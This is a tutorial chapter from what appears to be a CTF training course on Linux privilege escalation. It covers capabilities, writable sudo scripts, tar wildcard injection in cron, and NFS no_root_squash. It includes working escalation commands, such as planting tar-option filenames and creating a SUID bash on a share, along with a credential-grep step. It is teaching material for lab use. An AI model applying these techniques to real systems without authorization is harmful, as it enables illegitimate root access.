Step 259. Linux Privilege Escalation, Fully Conquered — From Patterns to a Checklist

Step 259. Linux Privilege Escalation, Fully Conquered — From Patterns to a Checklist

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: Step 125’s intro to privilege escalation (the six recon commands) and Step 126’s automated enumeration with linPEAS. You’ve experienced SUID / sudo / cron escalations a few times on THM/HTB machines.

  • What you need: A Linux environment (WSL works). You’ll measure the cron wildcard, sudo-script, and capabilities experiments yourself in /tmp. The NFS attack scene is presented as an output example (this environment has no NFS server).
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

In Steps 125–126 you learned escalation recon, and while solving machines you met patterns like SUID, sudo, and cron scattered here and there. Today is the day you assemble that scattered experience into one complete checklist. The goal is a "personal privesc manual" you can run mechanically from the top whenever you land a shell on a new machine. What matters is not memorizing patterns but understanding why each configuration is dangerous — only those who understand can handle mutated traps.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • List the eight patterns of Linux privilege escalation and the discovery command for each
  • Enumerate capabilities with getcap -r and pick out the dangerous ones
  • Explain the principle of cron wildcard injection (tar) through experiment
  • Demonstrate why a writable sudo script means instant root
  • Explain the flow of the NFS no_root_squash attack
  • Document all of the above as a one-page personal checklist

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Linux shell (WSL /tmp measurements + NFS scene as output example)
Today’s commands getcap -r, setcap, showmount -e, mount -t nfs, tar wildcard injection, ls -l / namei permission tracing
Concepts needed capabilities, GTFOBins categories (suid/sudo), cron wildcard injection, root_squash
Today’s deliverable Linux privesc checklist v1 — a one-page document you run from the top on every new machine

2-1. The Full Map of Patterns — Eight Doors

The "misconfiguration" family of Linux privilege escalation organizes into eight doors. Line up what you learned in Step 125 (bold) with what’s reinforced today:

  1. SUID filesfind / -perm /4000 → look up on GTFOBins
  2. sudo rulessudo -l → escape holes in allowed commands
  3. cron jobs/etc/crontab → writable scripts, wildcard injection (measured today)
  4. Writable files — system scripts and configs you can modify
  5. Kernel exploits — known bugs in old kernels
  6. capabilities (today) — SUID split into fine-grained grants; cap_setuid and friends are dangerous
  7. NFS shares (today) — shared folders with no_root_squash
  8. Found passwords — credentials embedded in config files and history, reused

Eight doors means you need "a list that knocks on all eight without missing any." Today’s deliverable is exactly that list.

2-2. capabilities — SUID Broken Into Pieces

SUID grants all of the owner’s (root’s) privileges while the program runs. Out of the sense that this is too much came capabilities — a mechanism that splits root’s power into about 40 pieces and attaches only what’s needed. For example, ping only needs raw sockets, so cap_net_raw alone suffices.

In fact, on modern Ubuntu ping runs on a capability instead of SUID (measured in 3-1). As security design, that’s progress — but if an administrator mistakenly attaches cap_setuid ("permission to change uid" = effectively root) to an ordinary program, it becomes an escalation path that’s harder to spot than SUID, because find -perm /4000 won’t catch it. The enumeration command is getcap -r / 2>/dev/null.

2-3. cron Wildcard Injection — The Moment an Asterisk Becomes a Command

Suppose an administrator registered this cron job:

* * * * * root cd /home/user/uploads && tar czf /backup/uploads.tgz *

The trailing * is expanded by the shell into the directory’s file list — but if a file is named something like --checkpoint-action=exec=sh run.sh, an option-shaped name, tar interprets it not as a file but as an option. Since * expands in alphabetical order, names starting with - land in the command-argument positions. The result: tar, running as root via cron, executes the attacker’s planted script with root privileges. In 3-4 you reproduce this principle yourself in /tmp.

2-4. NFS and no_root_squash — A Door Across the Network

NFS (Network File System) mounts another computer’s directory as if it were your own disk. It ships with a safety device called root_squash enabled by default — it "squashes" a root user connecting remotely down to nobody privileges.

The problem is a share where the administrator specified no_root_squash. Remote root is accepted as real root, so the attacker builds a SUID binary as root on their own machine, places it on the share, and executes it on the target to get root. The discovery command is showmount -e targetIP (list shares), and seeing no_root_squash in the /etc/exports file confirms it. In 3-5 you follow the flow through an output example.


3. Follow Along

All of today’s experiments run under /tmp/lab259 — no system settings are touched. Measurements were taken 2026-09-09 on WSL (Ubuntu 24.04).

3-1. Enumerating capabilities — getcap

getcap -r /usr 2>/dev/null

Output (measured 2026-09-09 on WSL):

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/usr/bin/ping cap_net_raw=ep

How to read it: getcap -r / is the full scan, but on WSL it wanders into /mnt/c and takes forever (in this measurement too, the full scan timed out and the scope was narrowed to /usr — on targets, starting from /usr is the practical move). Look at the three lines:

  • ping cap_net_raw=ep — raw socket permission only. Normal, and best practice. Compare it against SUID right below.
  • snap-confine ... cap_setuid ... — among several capabilities, cap_setuid is visible. It’s attached because snapd’s core component needs it, but the moment this permission name shows up, an attacker’s eyes light up — cap_setuid is "permission to set uid to 0," i.e., effectively a ticket to root.
  • Your checklist rule: if cap_setuid, cap_dac_override, or cap_sys_admin appears in getcap output, it’s a top-priority candidate.

For reference, the =ep / =p suffixes indicate the permission’s activation scope (effective/permitted). For now, distinguishing "attached / not attached" is enough.

3-2. SUID vs. capability — ping and passwd

ls -l /usr/bin/ping
ls -l /usr/bin/passwd

Output (measured 2026-09-09 on WSL):

-rwxr-xr-x 1 root root 89800 Jul 24  2025 /usr/bin/ping
-rwsr-xr-x 1 root root 64152 May 30  2024 /usr/bin/passwd

How to read it: passwd has an s (SUID) in the owner slot; ping doesn’t — yet ping works fine. A capability (cap_net_raw) has replaced SUID. What this comparison teaches: ① the newer the system, the shorter the SUID list and the longer the capability list. ② Therefore enumeration that only runs find -perm /4000 is behind the times — you must run SUID and getcap side by side.

3-3. Writable sudo Scripts — "They let me sudo this script, but I can edit the file"

Say an administrator decided "let’s allow only the backup script via sudo," but mistakenly set the script file’s permissions to 777. Here’s that situation simulated in /tmp (measured 2026-09-09 on WSL):

mkdir -p /tmp/lab259/sudo_demo && cd /tmp/lab259/sudo_demo
printf '#!/bin/bashnecho "Starting backup..."ntar czf data.tgz /etc/hostnamen' > backup.sh
chmod 777 backup.sh          # ← the admin's mistake: anyone can edit it
ls -l backup.sh

Output:

-rwxrwxrwx 1 root root 101 Sep  9 20:03 backup.sh

Now all the attacker (low privileges) has to do is append one line:

printf 'id > /tmp/lab259/sudo_demo/sudo_pwned.txtn' >> backup.sh
sudo /tmp/lab259/sudo_demo/backup.sh        # simulating the sudo rule the admin left open
cat /tmp/lab259/sudo_demo/sudo_pwned.txt

Output (measured 2026-09-09):

Starting backup...
tar: Removing leading `/' from member names
uid=0(root) gid=0(root) groups=0(root)

How to read it: backup.sh looks like a harmless backup script, but the single id > ... line I added ran as root and left a result file. This lab user is root so the result shows root too, but the principle is the point — "I can change the contents of a script that runs via sudo" = that script is now my root executor. In a lab you’d plant a one-line reverse shell here. Checklist rule: when sudo -l shows a script path, immediately check ls -l and namei -l path for write permission on the file and every parent directory — because even if the file is locked, a writable parent folder lets you replace the whole file.

3-4. cron Wildcard Injection — Planting tar-Option-Shaped Files

Reproduce the principle from 2-3. Assume /tmp/lab259/backup_src is "a directory where root’s cron runs tar czf backup.tgz *" (measured 2026-09-09 on WSL):

mkdir -p /tmp/lab259/backup_src && cd /tmp/lab259/backup_src
echo "user document 1" > report.txt
echo "user document 2" > memo.txt
echo "id > /tmp/lab259/out/pwned.txt" > run.sh && chmod +x run.sh

# The two key files — "file names" shaped like tar options
touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh run.sh"
ls -la

Output:

total 20
-rw-r--r-- 1 root root    0 Sep  9 20:03 --checkpoint-action=exec=sh run.sh
-rw-r--r-- 1 root root    0 Sep  9 20:03 --checkpoint=1
drwxr-xr-x 2 root root 4096 Sep  9 20:03 .
drwxr-xr-x 4 root root 4096 Sep  9 20:03 ..
-rw-r--r-- 1 root root   16 Sep  9 20:03 memo.txt
-rw-r--r-- 1 root root   16 Sep  9 20:03 report.txt
-rwxr-xr-x 1 root root   31 Sep  9 20:03 run.sh

To ls they look like two empty files. Now simulate root’s cron by running tar:

tar czf /tmp/lab259/out/backup.tgz *
cat /tmp/lab259/out/pwned.txt

Output (measured 2026-09-09):

uid=0(root) gid=0(root) groups=0(root)

How to read it: As * expanded, --checkpoint=1 and --checkpoint-action=... went in as tar options, and the moment the first file was processed, run.sh executed. A legitimate feature called "backup" became the attacker’s code executor. Checklist rule: in /etc/crontab and /etc/cron.d/, look for tar/cp/chmod/chown commands using *, and check whether the target directory is writable by you. For reference, this environment’s /etc/cron.d/ contained only e2scrub_all, with no wildcard use (measured 2026-09-09 — "none" is also an enumeration result).

3-5. NFS no_root_squash — Output Example

This environment has no NFS server (showmount isn’t even installed — measured 2026-09-09). Follow the lab flow as an output example:

# 1. List the target's NFS shares
showmount -e TARGET_IP
# Export list for TARGET_IP:
# /srv/nfs_share *

# 2. Mount it on my machine (Kali)
mkdir /mnt/nfs
mount -t nfs TARGET_IP:/srv/nfs_share /mnt/nfs

# 3. Check the exports config inside the share — no_root_squash found
cat /mnt/nfs/../exports 2>/dev/null; mount | grep nfs

# 4. On Kali, build a SUID shell as root and place it on the share
cp /bin/bash /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash

# 5. Execute from the target shell → no_root_squash keeps owner root intact
/srv/nfs_share/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...

How to read it: The keys are step 3’s no_root_squash and step 5’s euid=0(root). If root_squash had been on (the normal default), the file created in step 4 would have been squashed to owner nobody and the SUID would not work. From the defender’s side it’s a one-line config difference — from the attacker’s side it’s the difference between a door open and shut.

3-6. Assembling the Checklist — Today’s Deliverable

Assemble the patterns so far into "the order you run them on a new machine, top to bottom." The ordering principle is cheapest and safest first (read commands → config checks → kernel last):

[ ] 1. id / sudo -l                      — current privileges, allowed sudo
[ ] 2. uname -a / cat /etc/os-release    — kernel exploit candidates (hold)
[ ] 3. find / -perm /4000 -type f 2>/dev/null   — SUID → GTFOBins
[ ] 4. getcap -r /usr 2>/dev/null        — capabilities → cap_setuid etc.
[ ] 5. cat /etc/crontab; ls /etc/cron.d/ — cron → writable scripts? wildcards?
[ ] 6. find / -writable -type f 2>/dev/null | head — writable files
[ ] 7. cat /etc/exports; showmount -e IP — NFS no_root_squash
[ ] 8. grep -r "password" /etc ...       — embedded credentials
[ ] 9. linPEAS                           — the auditor of your human checklist
[ ] 10. (last resort) kernel exploits    — accept the risk of crashing

This is the skeleton of checklist v1. In the mission you’ll complete it by adding a one-line "why it’s dangerous" to each item.


4. Missions & Exercises

Mission — Complete Linux Privesc Checklist v1

  1. Fill in the 3-6 skeleton with each of the eight patterns’ ① discovery command ② exploitation condition ③ one-line "why it’s dangerous," completing privesc-checklist-v1.md
  2. Reproduce the 3-3 sudo-script experiment and the 3-4 tar wildcard experiment in your own /tmp and save the outputs
  3. Check the output of getcap -r /usr 2>/dev/null for the three dangerous capabilities (cap_setuid, cap_dac_override, cap_sys_admin) and record the result
  4. Find the SUID recipes for five commonly seen commands on GTFOBins (find, vim, less, python, cp) and link them in your checklist
  5. (If you have a lab) Apply the checklist top-down on one THM/HTB machine and record at which item the path opened

Exercises

Q1. Explain, using the capability concept, why ping works despite having no SUID bit.

Q2. In cron’s tar czf backup.tgz *, name the two files the attacker plants and the role of each.

Q3. If a sudo-allowed script file itself is read-only but its parent directory is writable, why is it still dangerous?

Q4. Explain why the SUID attack works on an NFS share with no_root_squash, contrasting it with root_squash’s default behavior.


5. Model Answers & Completion Criteria

Mission Model Answer

A completed excerpt of checklist v1 (in ①②③ order):

Pattern Discovery command Exploitation condition Why it’s dangerous
SUID find / -perm /4000 Command listed on GTFOBins Runs with owner (root) privileges
sudo sudo -l NOPASSWD + escapable command Allowed command embeds a shell-spawning feature
cron script cat /etc/crontab Script or parent folder writable Root executes my content for me
cron wildcard search crontab for * Target directory writable File names interpreted as options (3-4 measured)
capabilities getcap -r /usr cap_setuid etc. granted SUID replacement = a quiet ticket to root
Writable files find / -writable Includes system configs/scripts Changing config means changing privileges
NFS showmount -e no_root_squash Remote root accepted as real root
Embedded passwords grep -r password Real values found Escalation via credential reuse

How to verify: ① Did both experiments (tar injection, sudo script) produce result files (pwned.txt, sudo_pwned.txt) showing uid=0(root)? ② Is each row’s "why it’s dangerous" written in your own sentences — copied sentences can’t handle mutations. ③ Is the getcap measurement in your records — even with no dangerous capabilities found, a "confirmed none" record counts.

Exercise Answers

A1. ping is granted the cap_net_raw=ep capability (measured in 3-1). Since it received only the permission fragment needed to open raw sockets, it works without SUID. Granting one needed fragment instead of root’s full power is the design philosophy of capabilities, confirmed in 3-2 by contrasting passwd‘s s via ls -l.

A2. --checkpoint=1 and --checkpoint-action=exec=sh run.sh. The first is the tar option "signal a checkpoint for every file processed"; the second is "execute this command at the checkpoint." When the shell expands *, these file names go in as tar arguments and are interpreted as options, and run.sh executes at the first file’s processing (confirmed in the 3-4 measurement by the creation of pwned.txt).

A3. With write permission on a directory you can delete a file’s name and create a new file under the same name — even if you can’t modify the file’s contents, replacing the whole file is decided by directory permissions. That’s why permission checking doesn’t end with ls -l file; you must trace the entire path with namei -l path.

A4. root_squash (the default) squashes a remote root connecting via NFS down to nobody — so even if you upload a SUID binary to the share, its owner becomes nobody and escalation fails. no_root_squash disables that squashing, so a chmod 4755 binary made as root on my machine survives on the target as a root-owned SUID, and executing it there yields euid 0 (3-5 output example).

Completion Criteria Checklist

  • [ ] Can list all eight patterns in any order
  • [ ] Can pick the three dangerous capabilities out of getcap -r output
  • [ ] Can explain the ping (no SUID) vs. passwd (SUID) contrast
  • [ ] Reproduced cron wildcard injection in /tmp and got a uid=0 result
  • [ ] Can demonstrate the danger of writable sudo scripts
  • [ ] Can state the five steps of the NFS no_root_squash attack
  • [ ] Mission: completed privesc-checklist-v1.md

6. Common Pitfalls & Fixes

Wall 1. getcap takes forever

Symptom: getcap -r / 2>/dev/null hasn’t finished after several minutes.

Cause: On WSL it recursively searches mounted areas like /mnt/c. The full scan timed out in this measurement environment too.

Fix: Narrow the scope and start from /usrgetcap -r /usr 2>/dev/null. On target machines too, narrowing in the order /usr, /bin, /sbin, /opt (where executables live) is practical.

Wall 2. The wildcard files "won’t delete"

Symptom: Cleaning up after the experiment, rm --checkpoint=1 throws an option error.

rm: unrecognized option '--checkpoint=1'

Cause: rm also interprets that name as an option — the very principle the injection exploits shows up in cleanup too.

Fix: Declare "no more options from here" with --rm -- --checkpoint=1. Or attach a path, like rm ./--checkpoint=1. Same reason you used touch -- when creating the files.

Wall 3. sudo -l shows a script but it’s not writable

Symptom: ls -l shows -rwxr-xr-x 1 root root — no write permission for you.

Cause: You gave up after looking at file permissions only. The real question is "is there any layer of the path that I control?"

Fix: Look at every layer of the path with namei -l /opt/scripts/backup.sh. Even if the file is locked, if a parent folder is open for group/other writes, replacement is possible (see Exercise 3). In labs this trap gets mutated so the file permissions look perfectly fine.

Wall 4. The tar injection doesn’t work

Symptom: You planted the files but nothing happens even when cron runs.

Candidate causes: ① The cron command has no wildcard (if the directory is specified directly like tar czf backup.tgz /home/user/uploads, file names never enter as arguments). ② The tar implementation isn’t GNU tar. ③ Cron hasn’t run yet.

Fix: If it’s ①, this path is dead — record it and move to the next door. If it’s ③, in experiments verify just the principle by manually running tar ... * as in 3-4. Separating "waiting for cron" from "verifying the principle" is a lab-solving knack.

Wall 5. showmount itself is missing

Symptom (measured 2026-09-09): which showmount → no output.

Cause: The nfs-common package isn’t installed.

Fix: Lab Kali includes it by default. In a WSL experiment environment, learning the concept and output example as in 3-5 is enough — and remember that the real signal making you suspect NFS on the target side is nmap’s 2049/tcp open nfs. Enumeration starts from the target’s open ports, not from whether your attack machine has the tool.


7. Summary

Today’s Concepts

Concept One-line description
capabilities A device granting root’s power in fragments — cap_setuid is the most dangerous
getcap enumeration Essential recon in the SUID-replacement era — the partner of find -perm /4000
cron wildcard injection Attack where * expands and file names become options (tar etc.)
sudo script trap A writable sudo-allowed script = my root executor
root_squash NFS’s remote-root squash (default) — no_root_squash opens the door
Checklist v1 A personal manual knocked from the top, cheapest and safest first

Today’s Commands

Command What it does
getcap -r /usr 2>/dev/null Enumerate files with capabilities
ls -l /usr/bin/ping Evidence of the capability era (no SUID)
touch -- --checkpoint=1 Plant tar-option-shaped files (experiment)
tar czf out.tgz * The launchpad of wildcard injection (cron simulation)
namei -l path Trace permissions through every layer of a path
showmount -e IP List NFS shares (output example)
mount -t nfs IP:/share /mnt/nfs Mount NFS (output example)

The Instinct That Matters More Than Commands

The value of the checklist you made today lies not in the list but in each row’s "why." Someone who understands wildcard injection isn’t caught by cp * or chmod * mutations either, and someone who understands capabilities finds a path even on a system clean of SUID. And all eight doors are really one door — "can a low privilege change what a high privilege executes?" Script, file name, or shared folder — when every pattern starts wearing the same face under this one question, today’s goal is met.


Once every box is checked, Step 259 is complete.